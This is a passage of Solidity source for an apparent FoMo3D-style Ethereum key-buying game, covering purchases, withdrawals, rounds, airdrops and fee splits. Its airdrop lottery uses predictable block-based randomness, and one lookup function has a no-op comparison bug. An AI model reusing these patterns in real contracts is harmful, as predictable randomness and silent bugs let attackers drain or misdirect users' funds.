plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == "" || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && hasPlayersInRound(_rID) == true) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = registerName(_addr, _name, _affCode); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = registerNameXaddrFromDapp(msg.sender, _name, _affCode); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = registerNameXnameFromDapp(msg.sender, _name, _affCode); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you&#39;ll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function isWinner(uint256 _pID, uint256 _rID) private view returns (bool) { for (uint8 i = 0; i < winnerNum_; i++) { if (round_[_rID].plyrs[i] == _pID) { return (true); } } return (false); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && hasPlayersInRound(_rID) == true) { // if player is winner if (isWinner(_pID, _rID)) { calcTotalWinnerKeys(_rID); return ( (plyr_[_pID].win).add( (((round_[_rID].pot).mul(48)) / 100).mul(plyrRnds_[_pID][_rID].keys) / totalWinnersKeys_ ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID // uint256 _rID = rID_; return ( round_[rID_].ico, //0 rID_, //1 round_[rID_].keys, //2 round_[rID_].end, //3 round_[rID_].strt, //4 round_[rID_].pot, //5 (round_[rID_].team + (round_[rID_].plyrs[winnerNum_ - 1] * 10)), //6 plyr_[round_[rID_].plyrs[winnerNum_ - 1]].addr, //7 plyr_[round_[rID_].plyrs[winnerNum_ - 1]].name, //8 rndTmEth_[rID_][0], //9 rndTmEth_[rID_][1], //10 rndTmEth_[rID_][2], //11 rndTmEth_[rID_][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= function hasPlayersInRound(uint256 _rID) private view returns (bool){ for (uint8 i = 0; i < round_[_rID].plyrs.length; i++) { if (round_[_rID].plyrs[i] != 0) { return (true); } } return (false); } /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function contains(uint256 _pID, uint256[winnerNum_] memory array) private pure returns (bool) { for (uint8 i = 0; i < array.length; i++) { if (array[i] == _pID) { return (true); } } return (false); } function calcTotalWinnerKeys(uint256 _rID) private { uint256[winnerNum_] memory winnerPIDs; totalWinnersKeys_ = 0; for (uint8 i = 0; i < winnerNum_; i++) { if (!contains(round_[_rID].plyrs[i], winnerPIDs)) { winnerPIDs[i] = round_[_rID].plyrs[i]; totalWinnersKeys_ = totalWinnersKeys_.add(plyrRnds_[round_[_rID].plyrs[i]][_rID].keys); } } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < (100 ether) && plyrRnds_[_pID][_rID].eth.add(_eth) > (1 ether)) { uint256 _availableLimit = (1 ether).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders round_[_rID].plyrs[0] = round_[_rID].plyrs[1]; round_[_rID].plyrs[1] = round_[_rID].plyrs[2]; round_[_rID].plyrs[2] = round_[_rID].plyrs[3]; round_[_rID].plyrs[3] = round_[_rID].plyrs[4]; round_[_rID].plyrs[4] = _pID; if (round_[_rID].team != _team) { round_[_rID].team = _team; } // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract playerCount++; _pID = playerCount; bytes32 _name = plyr_[_pID].name; uint256 _laff = plyr_[_pID].laff; // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player&#39;s last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id&#39;s // uint256 _winPID = round_[_rID].plyrs[winnerNum_ - 1]; // uint256 _winTID = round_[_rID].team; // grab our pot amount // uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = ((round_[_rID].pot).mul(48)) / 100; // uint256 _com = (_pot / 50); uint256 _gen = ((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100; // uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _fee = ((round_[_rID].pot) / 50).add(((round_[_rID].pot).mul(potSplit_[round_[_rID].team].p3d)) / 100); uint256 _res = ((((round_[_rID].pot).sub(_win)).sub(_fee)).sub(_gen)); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } calcTotalWinnerKeys(_rID); // pay our winner plyr_[round_[_rID].plyrs[winnerNum_ - 1]].win = (_win.mul(plyrRnds_[round_[_rID].plyrs[winnerNum_ - 1]][_rID].keys) / totalWinnersKeys_).add(plyr_[round_[_rID].plyrs[winnerNum_ - 1]].win); for (uint8 i = 0; i < winnerNum_ - 1; i++) { plyr_[round_[_rID].plyrs[i]].win = (_win.mul(plyrRnds_[round_[_rID].plyrs[i]][_rID].keys) / totalWinnersKeys_).add(plyr_[round_[_rID].plyrs[i]].win); } // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // send share for p3d to divies if (!teamAddress.send(_fee)) { // Nothing } // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (round_[_rID].plyrs[winnerNum_ - 1] * 100000000000000000000000000) + (round_[_rID].team * 100000000000000000); _eventData_.winnerAddr = plyr_[round_[_rID].plyrs[winnerNum_ - 1]].addr; _eventData_.winnerName = plyr_[round_[_rID].plyrs[winnerNum_ - 1]].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = ((round_[_rID].pot).mul(potSplit_[round_[_rID].team].p3d)) / 100; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // if (round_[_rID].end.sub(_now) <= (60 seconds) && hasPlayersInRound(_rID) == true) { // return; // } // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && hasPlayersInRound(_rID) == false) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // rndSubed_ 根据资金量扣减时间 uint256 _rndEth = round_[_rID].eth; // 本轮eth总量 uint256 _rndNeedSub = 0; // 本轮最大时间需减少的时间 if (_rndEth >= (2000 ether)) { if (_rndEth <= (46000 ether)) { // sub hours _rndNeedSub = (1 hours).mul(_rndEth / (2000 ether)); } else { _rndNeedSub = (1 hours).mul(23); uint256 _ethLeft = _rndEth.sub(46000 ether); if (_ethLeft <= (12000 ether)) { _rndNeedSub = _rndNeedSub.add((590 seconds).mul(_ethLeft / (2000 ether))); } else { // 最后一分钟 _rndNeedSub = 999; } } } if (_rndNeedSub != 999) { uint256 _rndMax = rndMax_.sub(_rndNeedSub); // compare to max and set new end time if (_newTime < (_rndMax).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = _rndMax.add(_now); } } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; uint256 _p3d; uint256 _long = _eth / 100; // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != "") { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } // deposit to divies contract // Divies.deposit.value(_p3d)(); if (!teamAddress.send(_p3d.add(_com).add(_long))) { // Nothing } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i&#39;ve already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx&#39;s */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() isOwner() public { // make sure that its been linked. // require(address(otherF3D_) != address(0), "must link to other FoMo3D first"); // can only be ran once require(activated_ == false, "fomo3d already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library F3Ddatasets { //compressedData key // 